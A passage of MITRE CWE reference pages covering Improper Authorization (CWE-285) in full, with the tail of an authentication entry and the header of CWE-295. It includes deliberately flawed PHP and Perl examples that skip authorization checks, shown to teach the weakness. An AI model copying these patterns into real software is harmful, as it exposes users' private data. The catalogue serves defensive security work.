According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High
+ Functional Areas
  • Authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 718 OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 930 OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1028 OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Frequent Misuse

Rationale

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.

Suggestions

CWE-ID Comment
CWE-1390 Weak Authentication
CWE-306 Missing Authentication for Critical Function
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Error
OWASP Top Ten 2007 A7 CWE More Specific Broken Authentication and Session Management
OWASP Top Ten 2004 A3 CWE More Specific Broken Authentication and Session Management
WASC 1 Insufficient Authentication
ISA/IEC 62443 Part 3-3 Req SR 1.1
ISA/IEC 62443 Part 3-3 Req SR 1.2
ISA/IEC 62443 Part 4-2 Req CR 1.1
ISA/IEC 62443 Part 4-2 Req CR 1.2
+ References
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09.
<https://www.wired.com/2009/01/professed-twitt/>. (URL validated: 2023-04-07)
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007.
<http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication".
<http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication".
<http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Observed_Examples
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Diagram
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2010-06-21 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2009-10-29 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2009-01-12 CWE Content Team MITRE
updated Name
2008-10-14 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Authentication Issues
2009-01-12 Insufficient Authentication
Back to top

CWE-285: Improper Authorization

Weakness ID: 285
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
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+ Description
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
+ Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Read Files or Directories

Scope: Confidentiality

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

Modify Application Data; Modify Files or Directories

Scope: Integrity

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

Gain Privileges or Assume Identity

Scope: Access Control

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Architecture and Design
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

System Configuration; Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 926 Improper Export of Android Application Components
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 927 Use of Implicit Intent for Sensitive Communication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1230 Exposure of Sensitive Information Through Metadata
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1256 Improper Restriction of Software Interfaces to Hardware Features
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1297 Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1328 Security Version Number Mutable to Older Versions
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.



Example 2


The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Detection Methods
Method Details

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 721 OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 817 OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 935 OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 945 SFP Secondary Cluster: Insecure Resource Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

CWE-285 is high-level and lower-level CWEs can frequently be used instead. It is a level-1 Class (i.e., a child of a Pillar).

Comments

Look at CWE-285's children and consider mapping to CWEs such as CWE-862: Missing Authorization, CWE-863: Incorrect Authorization, CWE-732: Incorrect Permission Assignment for Critical Resource, or others.

Suggestions

CWE-ID Comment
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
CWE-732 Incorrect Permission Assignment for Critical Resource
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Missing Access Control
OWASP Top Ten 2007 A10 CWE More Specific Failure to Restrict URL Access
OWASP Top Ten 2004 A2 CWE More Specific Broken Access Control
Software Fault Patterns SFP35 Insecure resource access
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-229] NIST. "Role Based Access Control and Role Based Security".
<https://csrc.nist.gov/projects/role-based-access-control>. (URL validated: 2023-04-07)
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04.
<https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. (URL validated: 2023-04-07)
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS".
<https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. (URL validated: 2023-04-07)
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples, Relationships
2011-03-29 CWE Content Team MITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-03-24 CWE Content Team MITRE
Changed name and description; clarified difference between "access control" and "authorization."
2010-09-27 CWE Content Team MITRE
updated Description
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2009-10-29 CWE Content Team MITRE
updated Type
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Missing or Inconsistent Access Control
2011-03-29 Improper Access Control (Authorization)
Back to top

CWE-295: Improper Certificate Validation

Weakness ID: 295
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
